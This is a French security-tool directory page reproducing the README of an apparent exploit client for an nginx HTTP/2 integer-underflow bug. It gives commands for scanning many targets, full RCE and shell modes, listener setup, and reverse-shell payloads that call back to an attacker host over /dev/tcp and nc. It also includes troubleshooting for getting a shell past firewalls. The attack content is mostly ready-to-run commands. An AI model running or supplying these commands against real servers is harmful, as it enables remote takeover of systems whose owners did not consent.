Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
NGINX2Root-CVE-2026-123007 — Note de recherche : Transformer le renseignement public en exploit root (Étude de cas : CVE-2026-123007) | Kitploit
Outils/GitHubGitHub/arkrwn/nginx2root-cve-2026-123007
Scanners de Vulnérabilités WebAnalyse des VulnérabilitésExploitationRétro-ingénierieExploitation d'Applications WebSécurité RéseauOutil d'Accès à DistanceDéveloppement de Charges Utiles
GitHubarkrwn/nginx2root-cve-2026-123007

NGINX2Root-CVE-2026-123007

Note de recherche : Transformer le renseignement public en exploit root (Étude de cas : CVE-2026-123007)

Voir le dépôt
32il y a 1 jourPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 La boîte à outils OSINT ultime : graphe d'enquête, notation de confiance, familles d'alias, carte, chronologie et rapports. 49 modules, plus de 400 sites, aucune clé API requise.

    968
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Application d'exécution en un clic GhostLock (CVE-2026-43499)

    556
  • 3

    looking-glass

    anonghosty/looking-glass

    Plateforme CSIRT qui ingère les rapports Shadowserver dans MongoDB et les rejoue sous forme de cartes interactives, d'analyses, de constats, d'avis et de tableaux de bord exécutifs.

    347
  • 4

    redforge

    cybersecurity91/redforge

    Boîte à outils red team côté navigateur avec 102 outils hors ligne pour la reconnaissance, la génération de payloads, les attaques par identifiants, la cryptographie, l'encodage et le reporting d'engagement.

    346
  • 5

    ARTEX

    baarai/artex

    Plateforme autonome de tests d'intrusion multi-agents basée sur des LLM, avec agents planificateur/ouvrier, graphes d'actifs et d'exploration, enregistrement du trafic MITM et retest des vulnérabilités.

    319
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Le système d'action pour la cybersécurité native IA—où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante.

    297

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PoC-NGINX2ROOT

Un client d'exploitation pour CVE-2026-123007 (un underflow d'entier dans le contrôle de flux HTTP/2 de nginx pouvant mener à une RCE avec les privilèges du worker). Un seul binaire Rust. Aucune installation, compilation ou déploiement de nginx n'est requis : l'outil ne communique qu'avec une cible qui existe déjà (un serveur nginx public, ou une instance localhost que vous avez configurée vous-même).

Vous voulez seulement prouver la CVE ? Lisez PROOF.md. Une seule commande, ~14 MiB, sans listener/profile/119 GiB : poc --host https://TARGET/ --safe (--proof est un alias). --exploit / --shell ci-dessous servent à la chaîne RCE complète.

Démarrage rapide

# 1. build (once)
cargo build --release

# 2. check whether a target is vulnerable — safe, no crash, ~14 MiB
./target/release/poc --host https://target.example --safe

# 3. many targets at once (one URL per line)
./target/release/poc --targets targets.txt --safe

# or several URLs directly
./target/release/poc --hosts https://a.example --hosts https://b.example

Sans option de mode, la valeur par défaut est --safe (économique et sûr).

Sortie en cas de succès :

[+] CVE-2026-123007 PROOF: VULNERABLE
    target: https://target.example/   resource: /index.html
    observed: server=Some("nginx/1.31.8") settings=[...] body=896 bytes
    [1] queued-DATA refund      : PASS (2 streams reset with FLOW_CONTROL_ERROR=3)
    [2] public-byte release    : PASS (10 bytes returned)
    [3] underflowed WU guard   : PASS (post-refund PING ACK)
    [4] connection still usable: PASS
    no memory corruption, no crash, no shell

VULNERABLE signifie que le bug de comptabilité a été prouvé sur cette cible. NOT PROVEN signifie que la cible ne l'a pas montré (corrigé, pas HTTP/2, corps trop petit, ou une autre ressource est nécessaire). Codes de sortie : 0 vulnérable, 4 non prouvé.

Le chemin peut être fourni dans --host ou explicitement avec --path :

./target/release/poc --host https://target.example/landing --safe   # resource /landing
./target/release/poc --host https://target.example --safe --path /large-file.bin

--safe exige HTTPS + HTTP/2 (ALPN h2) et une ressource de 521–8192 octets qui prend en charge Range. Le message d'erreur indique la taille de vague calculée lorsque le corps est en dehors de cette plage.

Trafic

ModeCe qu'il prouveTraficTemps
--safebug de comptabilité + garde en underflow, sans corruption~14 MiBsecondes
--exploitchaîne complète, payload déclenché~119 GiBminutes
--shellchaîne complète + id/whoami/date/uname -a~119 GiBminutes

Pour répondre à « la cible est-elle vulnérable ? », --safe suffit. Des centaines de Go ne sont utilisés que lors de l'exécution réelle d'un RCE.

--targets (liste de cibles)

Une origine par ligne ; les lignes vides et les # commentaires sont ignorés :

# example targets.txt
https://target-a.example
https://target-b.example:8443

Les lignes http://... sont SKIPpées car --safe exige TLS + ALPN h2 (les cibles HTTP/1.1 uniquement sont également SKIP/NOT PROVEN). --targets est réservé à --safe ; pour l'exploitation, exécutez une cible à la fois avec --host.

Une ligne de résultat est affichée par cible, suivie d'un résumé N tested, M vulnerable.

--exploit et --shell

Ceux-ci nécessitent une cible qui correspond à un profil intégré (nginx 1.31.8 Debian 13 amd64, glibc 2.41, CPU cible avec avx512f + avx512vl, 4 workers, /index.html de 896 octets). Un profil 1.31.6 est également inclus. Sans correspondance, --safe peut toujours répondre à la question de vulnérabilité, mais la chaîne RCE ne s'exécutera pas.

Choisissez un workflow, pas les deux (sinon le port entre en conflit) :

Workflow A — --shell (le plus simple ; l'outil écoute) :

./target/release/poc --host https://target --shell --lhost ATTACKER_IP --yes
# do not run nc/socat: the tool already listens on 0.0.0.0:4444

Workflow B — --exploit + un listener manuel :

# macOS / BSD:
nc -lv 4444
# Linux (nc/OpenBSD):
nc -lvnp 4444
# cross-platform alternative: socat TCP-LISTEN:4444,fork -

# dispatch the payload (prints the listener command and payload before the bulk)
./target/release/poc --host https://target.example --exploit \
  --lhost 203.0.113.10 --lport 4444 --yes

--exploit n'écoute pas lui-même ; un code de sortie 0 signifie uniquement que la charge utile a été envoyée (DISPATCHED (unconfirmed)). Votre listener constitue la preuve.

Alternativement, laissez l'outil écouter et vérifier le shell :

./target/release/poc --host https://target.example --shell \
  --lhost 203.0.113.10 --lport 4444 --yes
# optional: --interactive to relay stdin/stdout after verification

--shell envoie id; whoami; date; uname -a; echo __OK__ et ne rapporte SHELL OK que lorsque la sortie contient uid=. Codes de sortie : 0 shell vérifié, 1 erreur d'étape, 2 vulnérable mais la chaîne ne s'est pas terminée, 3 dispatché sans shell, 4 non prouvé.

Charge utile par défaut : bash -i >& /dev/tcp/LHOST/LPORT 0>&1 (limite de 120 octets). Sans bash, utilisez --cmd, par ex. rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc LHOST LPORT >/tmp/f.

Compilation

Linux : libssl-dev + pkg-config sont requis. macOS (Homebrew) :

brew install openssl@3 pkg-config
export PKG_CONFIG_PATH="$(brew --prefix openssl@3)/lib/pkgconfig"
cargo build --release

Sans PKG_CONFIG_PATH, la crate openssl récupère LibreSSL et échoue. Le binaire est target/release/poc.

Dépannage

  • target does not negotiate HTTP/2 (ALPN h2) over TLS — HTTP/2 est désactivé sur ce listener (ou la cible est en HTTP/1.1 uniquement).
  • safe mode needs a response body of 521..8192 bytes — pointez --path vers un fichier statique plus volumineux.
  • cleanup-overcredit oracle failed — la cible est corrigée, ou un proxy/CDN ne transmet pas les trames HTTP/2 sans modification.
  • in-band HTTP/2 fingerprint matches no validated profile — une autre build/version ; --safe reste valide, --exploit nécessite un profil calibré.
  • DISPATCHED, NO SHELL — la charge utile s'est exécutée mais n'a pas pu atteindre --lhost (pare-feu/NAT), ou bash est absent. Utilisez --cmd avec un oracle observable.
  • POC_KEYUPDATES — un paramètre de débogage qui raccourcit le vol de bootstrap ; il ne fait pas partie d'une exécution réelle.

Développer / valider l'outil lui-même

Cette section n'est pas nécessaire pour tester une cible. scripts/validate-safe.sh compile nginx 1.31.8 et 1.31.10 depuis une arborescence source locale et vérifie VULNERABLE / NOT PROVEN — il teste l'outil, il ne prépare pas une cible d'exploitation. Résultats sur l'hôte de développement :

  • nginx 1.31.8 → VULNERABLE (exit 0)
  • nginx 1.31.10 (corrigé) → NOT PROVEN (exit 4)

La chaîne complète nécessite une cible x86-64 + AVX512 ; les limites sont décrites dans la section technique ci-dessous. Les notes de conception et les plans d'implémentation sont conservés dans l'arborescence de travail locale et ne sont pas poussés.

Journal de recherche : écrire l'exploit à partir d'un CVE et de sources publiques

Cette section est une note méthodologique : comment passer de « un CVE critique a été annoncé ce matin » à un vérificateur et un exploit fonctionnels, en utilisant uniquement du matériel public et le logiciel vulnérable lui-même. Aucun détail privé de bug et aucun code d'exploit prêt à l'emploi ne sont supposés.

1. Trier l'avis : quel est la primitive ?

Commencez par les enregistrements faisant autorité, pas par les billets de blog :

Télécharger l’outil